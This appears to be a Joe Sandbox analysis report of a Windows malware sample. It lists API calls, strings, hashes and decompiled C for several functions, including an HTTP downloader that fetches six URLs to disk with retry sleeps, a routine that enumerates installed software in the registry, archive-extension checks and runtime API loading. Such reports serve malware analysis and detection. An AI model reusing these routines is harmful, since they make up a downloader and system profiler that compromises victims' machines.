0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,008251B0,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,008251B0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,008251B0), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

200, xrefs: 0040534D
https://, xrefs: 004051EA

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x823958
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x823958
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x83c970
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x83c8b0
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,00823958,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

%s\%s, xrefs: 0040B40E
?, xrefs: 0040B357

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.arj, xrefs: 004115E5
.zoo, xrefs: 004115A0
.gz, xrefs: 004115FC
.zip, xrefs: 00411586
.tgz, xrefs: 00411613
.arc, xrefs: 004115B7
.lzh, xrefs: 004115CE

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

200, xrefs: 00404AD9
https, xrefs: 00404A28

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 006C53F0, Relevance: 24.2, APIs: 16, Instructions: 172networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 006C541D
StrCmpCA.SHLWAPI(00000000,00418B90), ref: 006C5443
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 006C547D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 006C54A3
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 006C54C8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 006C5503
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 006C552A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006C5577
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006C5593
StrCmpCA.SHLWAPI(?,00418B8C), ref: 006C55A9
Sleep.KERNEL32(00007530), ref: 006C55C4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006C55EC
lstrcat.KERNEL32(?,00000000), ref: 006C5628
InternetCloseHandle.WININET(00000000), ref: 006C5634
InternetCloseHandle.WININET(00000000), ref: 006C5641
InternetCloseHandle.WININET(00000000), ref: 006C564E

Part of subcall function 006C4A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 006C4ACE
Part of subcall function 006C4A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 006C4AF6

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcat
String ID:
API String ID: 381316015-0
Opcode ID: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction ID: f4f4cfb44bea9dfbb4bbd0e91227714a5a9c10aac1facbf0e4474ab2c87d15ee
Opcode Fuzzy Hash: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction Fuzzy Hash: D7612D71A45359ABEB24DF50CC49FE977B5FB48700F508199F20AAA2C0C7B46AC4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 22.7, APIs: 18, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x825a88
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x827f08
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x825a88
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x8280e8
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x825a88
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x827ea8
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x825a88
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x827f68
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x825a88
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x828040
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x8251b0
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x825a88
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x8259c8
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x83a008
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x83a148
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x83a170
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x825788
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x83a080
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x83a0a8
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,008251B0), ref: 0040549C
lstrcat.KERNEL32(?,00825A88), ref: 004054B0
lstrcat.KERNEL32(?,00827F08), ref: 004054C4
lstrcat.KERNEL32(?,008251B0), ref: 004054D7
lstrcat.KERNEL32(?,00825A88), ref: 004054EB
lstrcat.KERNEL32(?,008280E8), ref: 004054FF
lstrcat.KERNEL32(?,008251B0), ref: 00405512
lstrcat.KERNEL32(?,00825A88), ref: 00405526
lstrcat.KERNEL32(?,00827EA8), ref: 0040553A
lstrcat.KERNEL32(?,008251B0), ref: 0040554D
lstrcat.KERNEL32(?,00825A88), ref: 00405561
lstrcat.KERNEL32(?,00827F68), ref: 00405575
lstrcat.KERNEL32(?,008251B0), ref: 00405588
lstrcat.KERNEL32(?,00825A88), ref: 0040559C
lstrcat.KERNEL32(?,00828040), ref: 004055B0
lstrcat.KERNEL32(?,008251B0), ref: 004055C3
lstrcat.KERNEL32(?,00825A88), ref: 004055D7
lstrcat.KERNEL32(?,008259C8), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID:
API String ID: 3671864319-0
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006C5670, Relevance: 22.7, APIs: 18, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A368), ref: 006C56EC
lstrcat.KERNEL32(?,0041A7C4), ref: 006C5700
lstrcat.KERNEL32(?,0041A11C), ref: 006C5714
lstrcat.KERNEL32(?,0041A368), ref: 006C5727
lstrcat.KERNEL32(?,0041A7C4), ref: 006C573B
lstrcat.KERNEL32(?,0041A3B4), ref: 006C574F
lstrcat.KERNEL32(?,0041A368), ref: 006C5762
lstrcat.KERNEL32(?,0041A7C4), ref: 006C5776
lstrcat.KERNEL32(?,0041A090), ref: 006C578A
lstrcat.KERNEL32(?,0041A368), ref: 006C579D
lstrcat.KERNEL32(?,0041A7C4), ref: 006C57B1
lstrcat.KERNEL32(?,0041A604), ref: 006C57C5
lstrcat.KERNEL32(?,0041A368), ref: 006C57D8
lstrcat.KERNEL32(?,0041A7C4), ref: 006C57EC
lstrcat.KERNEL32(?,0041A630), ref: 006C5800
lstrcat.KERNEL32(?,0041A368), ref: 006C5813
lstrcat.KERNEL32(?,0041A7C4), ref: 006C5827
lstrcat.KERNEL32(?,0041A674), ref: 006C583B

Part of subcall function 006C4C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 006C4C5E

Part of subcall function 006C4C30: StrCmpCA.SHLWAPI(00000000,00418B84), ref: 006C4C8A
Part of subcall function 006C4C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 006C4CDF
Part of subcall function 006C4C30: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 006C4D1F
Part of subcall function 006C4C30: StrCmpCA.SHLWAPI(?,00418B8C), ref: 006C4D35
Part of subcall function 006C4C30: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006C4D67
Part of subcall function 006C4C30: InternetReadFile.WININET(?,?,00000400,?), ref: 006C4D90
Part of subcall function 006C4C30: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006C4DBE
Part of subcall function 006C4C30: CloseHandle.KERNEL32(?,?,00000400), ref: 006C4E0C
Part of subcall function 006C4C30: InternetCloseHandle.WININET(?), ref: 006C4E16
Part of subcall function 006C4C30: InternetCloseHandle.WININET(00000000), ref: 006C4E23

Part of subcall function 006C4C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 006C4D00
Part of subcall function 006C4C30: Sleep.KERNEL32(00007530), ref: 006C4D46

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID:
API String ID: 3671864319-0
Opcode ID: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction ID: 5f04fe70b3caac7b219c1358c27dd768c875cbf70f37e9a1bd05256fac6e9548
Opcode Fuzzy Hash: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction Fuzzy Hash: 776162B6511208ABC714EBA0DD89EEA33BDFB4C700F04859EB31593151DB74A7A8CF69

Uniqueness

Uniqueness Score: -1.00%

Function 006CC530, Relevance: 22.6, APIs: 15, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 006CC582
GetProcAddress.KERNEL32(0041AA64,0041A33C), ref: 006CC59A
GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 006CC5B2
GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 006CC5CB
GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 006CC5E3
GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 006CC5FB
GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 006CC614
GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 006CC62C
GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 006CC644
GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 006CC65D
GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 006CC673
LoadLibraryA.KERNEL32(0041A0F8,?,006C6DC2), ref: 006CC685
LoadLibraryA.KERNEL32(0041A658,?,006C6DC2), ref: 006CC697
GetProcAddress.KERNEL32(0041A854,0041A594), ref: 006CC6B8
GetProcAddress.KERNEL32(0041A934,0041A0B8), ref: 006CC6D9

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: 103987d40b79f24a52c52df6103d9ac51eaae2e0ece19ae10b40f78b6b655a60
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: EF4173F5523200DFC344DFA8EE48AE237BABB88251705C939E50983671D63895A1CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73
g@A, xrefs: 0040BE4C, 0040BE4F
image/jpeg, xrefs: 0040BDE3

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

